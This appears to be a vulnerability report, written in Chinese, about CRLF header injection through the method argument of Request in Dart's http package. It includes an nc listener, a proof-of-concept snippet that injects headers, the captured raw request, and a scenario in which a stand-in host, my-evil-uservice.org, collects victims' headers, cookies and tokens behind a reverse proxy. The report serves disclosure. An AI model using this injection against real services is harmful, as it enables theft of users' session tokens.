请使用第一个终端运行虚拟服务器
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
请使用第二个终端执行 main.dart
dart run main.dart
nc 应收到以下请求
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
假设上述 diff 未应用,并且用户位于 rev-proxy 之后,访问了由 example.com 提供的网站。
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
如果开发者使用 Request 来抽象生成 HTTP 调用,并且他接受来自用户的 method 参数,那么用户可以执行一些像头部注入或路径伪造之类的操作。
这可以通过多种方式被利用,并且似乎尤其重要,特别是在存在反向代理的情况下。代理可能会根据 host 头将某人的请求简单地传递到任何主机。
假设我将 example.com 替换为 my-evil-uservice.org,并且受害者在代理后面的公司内工作。这意味着我可以重定向带有头部/cookie(令牌)等等的调用。基于此,可以窃取带有所有头部/cookie 的调用。